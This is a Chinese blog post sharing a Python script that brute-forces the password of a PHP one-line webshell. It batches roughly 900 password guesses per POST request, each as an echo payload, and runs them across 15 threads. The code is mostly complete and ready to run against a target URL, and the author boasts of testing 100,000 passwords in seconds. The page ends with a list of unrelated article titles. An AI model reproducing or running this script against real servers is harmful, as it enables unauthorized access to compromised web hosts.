一句话爆破速度提升一千倍python脚本
这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本
本地测试了下,十万密码只需要3秒,速度还是可以的
# coding:utf-8
# __author__ : learn
import threading,Queue,requests
class Add_password:
def __init__(self,dictname,queue):
self.dictname = dictname
self.queue = queue
# 加载字典 以\n分割 保存到list
def load_file(self):
with open(self.dictname,'r') as f:
lines = f.readlines()
return map(lambda x:x.split('\n')[0],lines)
#========================
'''分割数量大于 900 密码数量的字典算法
因为apache 最多传入1000个参数。 如果 密码数量大于900 就分割字典
'''
def split_file(self):
file_read = self.load_file()
file_list = []
if len(file_read) < 900:
file_list.append(file_read)
elif len(file_read)%900 !=0 and len(file_read)/900 >= 1:
split_num = len(file_read)
for num in range(split_num/900-1):
file_list.append(file_read[num*900:num*900+900])
file_list.append(file_read[split_num/900*900:])
return file_list
# 主要的部分 用来生成payload 加入队列
# 待post参数的格式为 {"pass":"echo 'pass';","pass2":"echo 'pass2';",...}
def main(self):
php_passwords = self.split_file()
for q in php_passwords:
payloads = [x for x in q]
payload = map(lambda x:{x:"echo '%s';"%x},payloads)
payload = reduce(lambda x,y:dict(x,**y),payload)
self.queue.put(payload)
return
class Main(threading.Thread):
def __init__(self,url,queue):
threading.Thread.__init__(self)
self.url = url
self.queue = queue
self.payloads = {}
def run(self):
while True:
if self.queue.empty():
break
data = self.queue.get_nowait()
req = requests.post(self.url,data=data)
#这里我判断的是 post之后的页面有没有echo的值 导致脚本局限性很大。
if req.content != '':
print 'Password Found: '+req.content
exit(0)
if __name__ == '__main__':
import sys
threads = []
q = Queue.Queue(maxsize=0)
args = sys.argv
if len(args)<3 or args[1][:4]!='http' or args[2][-3:] != 'txt':
print 'usage: python %s [url]http://www.xxx.com/shell[/url],php password.txt'%args[0]
sys.exit(0)
Add_password(args[2],q).main()
for i in range(15):#这里可以适当的修改,速度会提高
threads.append(Main(args[1],q))
for t in threads:
t.start()
for j in threads:
j.join()
一句话爆破速度提升一千倍python脚本的更多相关文章
- 更快的Maven来了,我的天,速度提升了8倍!
周末被 maven-mvnd 刷屏了,于是我也下载了一个 mvnd 体验了一把.虽然测试的数据都是基于我本地项目,不具备普适性和权威性,但也足以说明问题.它的测试结果远远超出我的预期,下面一起来看. ...
- numba,让python速度提升百倍
python由于它动态解释性语言的特性,跑起代码来相比java.c++要慢很多,尤其在做科学计算的时候,十亿百亿级别的运算,让python的这种劣势更加凸显. 办法永远比困难多,numba就是解决py ...
- 有史以来性价比最高最让人感动的一次数据库&SQL优化(DB & SQL TUNING)——半小时性能提升千倍
昨天,一个客户现场人员急急忙忙打电话找我,说需要帮忙调优系统,因为经常给他们干活,所以,也就没多说什么,先了解情况,据他们说,就是他们的系统最近才出现了明显的反应迟钝问题,他们的那个系统我很了解,软硬 ...
- 修改一行SQL代码 性能提升了N倍
在PostgreSQL中修改了一行不明显的代码,把(ANY(ARRAY[...]) 改成 ANY(VALUES(...))),结果查询时间从20s变为0.2s.最初我们学习使用EXPLAN ANALY ...
- 修改一行SQL代码 性能提升了100倍
在PostgreSQL中修改了一行不明显的代码,把(ANY(ARRAY[...]) 改成 ANY(VALUES(...))),结果查询时间从20s变为0.2s.最初我们学习使用 EXPLAN ANAL ...
- 深深感受 Promise.all 带来的速度提升
什么是Promise Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大.(摘抄自 阮一峰老师的 ECMAScript 6 入门).具体请查看阮一峰老师的这 ...
- python之提速千倍爆破一句话
看了一下冰河大佬写的文章特别有感:https://bbs.ichunqiu.com/thread-16952-1-1.html 简单描述一下: 利用传统的单数据提交模式. 比如下面这个一句话木马: & ...
- 使用Apache Spark 对 mysql 调优 查询速度提升10倍以上
在这篇文章中我们将讨论如何利用 Apache Spark 来提升 MySQL 的查询性能. 介绍 在我的前一篇文章Apache Spark with MySQL 中介绍了如何利用 Apache Spa ...
- 如何将 iOS 工程打包速度提升十倍以上
如何将 iOS 工程打包速度提升十倍以上 过慢的编译速度有非常明显的副作用.一方面,程序员在等待打包的过程中可能会分心,比如刷刷朋友圈,看条新闻等等.这种认知上下文的切换会带来很多隐形的时间浪费. ...
随机推荐
- CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...
- sqlite使用xcode编译
使用xcode去开发makefile的project(Building Makefile Projects With Xcode) 新建工程,template选择 external Build Sys ...
- mysql命令(数据库备份与恢复)
本地: 1.进入MySQL目录下的bin文件夹:e:回车: e:\>cd mysql\bin? 回车 2.导出数据库:mysqldump -u 用户名 -p 数据库名 > 导出的文件名 范 ...
- 省市县三级联动 sql语句
发现在网上的省市县三级联动大部分是mysql的.就算是sqlserver的,也不准确.于是就把mysql的给改了下,适用sqlserver.sql语句如下: CREATE TABLE Dic_Area ...
- ListView的监听器中OnItemClick各个参数的作用
方法的原型如下 public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3){ } 后面有4个参 ...
- Maven基础配置—上传jar包到私服
一.配置 在需要上传的工程中的pom.xml文件中加入下面的配置 <distributionManagement> <repository> <id>release ...
- spring filter过滤器
1.简介 Filter也称之为过滤器,它是Servlet技术中最实用的技术,WEB开发人员通过Filter技术,对web服务器管理的所有web资源:例如Jsp, Servlet, 静态图片文件或静态 ...
- jsp有哪些内置对象?作用分别是什么?分别有什么方法?
JSP共有以下9个内置的对象: request 用户端请求,此请求会包含来自GET/POST请求的参数 response 网页传回用户端的回应 pageContext 网页的属性是在这里管理 sess ...
- pt-diskstats 报错 Can't locate Time/HiRes.pm in @INC
调用 pt-diskstats 时报错如下Can't locate Time/HiRes.pm in @INC [root@localhost ~]# pt-diskstats Can't locat ...
- linux的“自动化”
h2:first-child, body>h1:first-child, body>h1:first-child+h2, body>h3:first-child, body>h ...